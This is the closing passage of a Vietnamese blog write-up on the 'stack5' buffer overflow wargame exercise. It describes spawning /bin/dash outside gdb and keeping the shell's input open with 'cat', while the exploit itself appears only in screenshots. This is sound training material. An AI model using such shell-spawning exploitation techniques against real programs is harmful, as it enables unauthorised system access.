src="https://cdn-images-1.medium.com/max/741/1*xayhH27d6Lg4vmSjiYCNNw.png" /></figure><p>Yay!! “Executing new program: /bin/dash”! Vậy là chúng ta có thể lấy được shell rồi. Nhưng chờ đã, liệu nó có hoạt động bên ngoài gdb hay không? Thử xem nào!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*7LtMZb3eOhHKH-7IT15XIQ.png" /></figure><p>What???? Chuyện gì đang xảy ra nhỉ? Không có gì xảy ra mặc dù bên trong gdb thông báo là chương trình của mình đã được redirect sang /bin/dash!!</p><p>Cái này cũng làm mình mất một khoảng thời gian để tìm hiểu.</p><p>Một chương trình tiêu chuẩn thì luôn cần input để đưa ra output. Ở đây input của chương trình “stack5” là nội dung bên trong file “solve”. Tuy nhiên chương trình “/bin/dash” lại không có input, vì thế nó không hề đưa ra output gì cả, vì thế mình thử đưa một vài input vào một file mới tên là “test”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*ybYZ_oi_0ZoGA-o9ouwtQw.png" /></figure><p>Nội dung file “test” chỉ đơn giản thế thôi. Tiếp tục thử nhé!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*ypC1bOqCVY9YvSIwmMKrBQ.png" /></figure><p>BAM!!! It works!<br>Nhưng với một hacker thì việc phải đưa lệnh vào một file trước rồi mới thực thi chứ không tương tác trực tiếp thì hơi khó chịu nhỉ 😠<br>Có một cách hiệu quả hơn là ta dùng lệnh “cat” không có parameter. Chúng ta thử lệnh cat trước nhé!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*uBTDoyj8CR6gX6exBqm6nA.png" /></figure><p>Vậy lệnh “cat” mà không có parameter sẽ nhận input và cho ra output y chang như những gì nó nhận được. Tiếp tục nào.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*bR9IyPwm-AWqEazel_o5Mg.png" /></figure><p>Congratulations! Vậy là chúng ta đã hoàn thành bài này!</p><p>Cảm ơn các bạn đã theo dõi tới tận đây ✌️ Nếu có gì thắc mắc hay stuck chỗ nào đó thì có thể liên hệ mình qua facebook: <a href="https://www.facebook.com/Natsu.FPT">https://www.facebook.com/Natsu.FPT</a></p><p>Để làm được và hiểu rõ bài này thì mình có tham khảo kênh Youtube liveOverflow: <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/about">https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/about</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0b790be2193" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>